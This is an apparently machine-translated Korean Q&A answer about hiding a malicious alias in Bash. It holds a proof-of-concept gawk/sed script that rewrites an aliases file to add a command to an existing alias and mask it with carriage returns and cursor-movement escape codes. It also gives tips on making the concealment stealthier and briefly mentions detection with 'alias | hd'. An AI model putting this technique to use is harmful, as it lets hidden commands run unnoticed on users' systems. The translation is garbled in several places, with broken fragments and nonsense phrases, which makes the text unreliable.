Linux의 Bash에서 악성 별칭을 숨길 수 있습니까? 시스템에서 Bash에 악성 별칭이

Linux 시스템에서 Bash에 악성 별칭이 있음을 숨기고 사용자가 모르게 실행할 수 있습니까?



답변

alias명령을 사용하여 별칭 정의를 표시 하는 경우 기존 별칭을 악의적 인 별칭에 추가하고 커서 이동을 사용하여이를 숨길 수 있습니다. 완벽하게 완벽한 방법은 아니지만 잠시 동안 발견되지 않을 수 있습니다. 파이핑을 alias통해 hd별칭에 이스케이프 시퀀스 (커서 이동)가 있는지 여부를 알 수 있습니다. 다음은 별칭에 악의적 인 명령을 삽입하는 방법에 대한 개념 증명입니다.

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    }
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • sed명령은 “aliases”라는 파일을 제자리에 수정합니다.이 유형의 실제 스크립트는 다음에 실행될 때 악의적 인 별칭이 활성화되도록 목구멍에 들어가고 실제 스크립트 파일을 수정합니다.
  • 이 예제의 악의적 인 부분은 터미널 벨을 울리므로 작동하는지 알 수 있습니다.
  • 원래 별칭이 지정된 명령 hide은 인수 의 내용으로 실행 되므로이 질문에 보고 된 것과 유사한 오류가 발생할 수 있습니다. 별칭에 제공되는 인수를 방해 할 수 있지만 원래 및 악의적 인 부분을 되돌려 서 영향을 줄 수 있습니다. 위의 스크립트에서 인수의 끝을로 표시하려고 시도했습니다 --.
  • 로 원본과 악의적 인 부분을 연결하는 대신 &&하나를 다음으로 파이프하고 악의적 인 스크립트 (위의 간단한 echo명령으로 표시) stdinstdout통과하는 데이터로 사용하여 데이터가 진행되는 동안 데이터를 수정하거나 숨길 수 있습니다. 다른 방향 전환을 방해하지 않음으로써 더 존재
  • 또 다른 가능성은 악성 스크립트에 원래 별칭을 포함시켜 인수 목록에서 커서 이동 문자열을 제거하고 나머지를 원본으로 전달할 수 있습니다.
  • 레코드 3과 4를 임의로 선택했습니다. 더 지능적인 코드는 특정 별칭을 대상으로 할 수 있지만 인접해야합니다 (또는 커서 이동이 더 복잡해질 수 있음).
  • hide너무 문자열은 서로 다른 커서 이동하고 원래 별명의 텍스트를 포함하도록 수정 될 수있는 alias명령은 악의적 인 부분과 함께 그것을 숨기는 대신 수정되지 않은 별칭을 보여 나타납니다.
  • 작성된대로 사용하려면 최소한 4 개의 활성 별명이 있어야하고이 스크립트를 실행 한 다음 결과 파일을로 소싱해야합니다 . aliases. 그런 다음 영향을받는 별칭을 사용하여 어떻게되는지 알 수 alias|hd있습니다.
  • 의심 할 여지없이 백 가지 방식으로 다시 작성할 수 있습니다.
  • 이 유형의 위협은 얼마나 현실적인가? 나는 단서가 없습니다. 하지만 내가 할 수 있다면 …

답변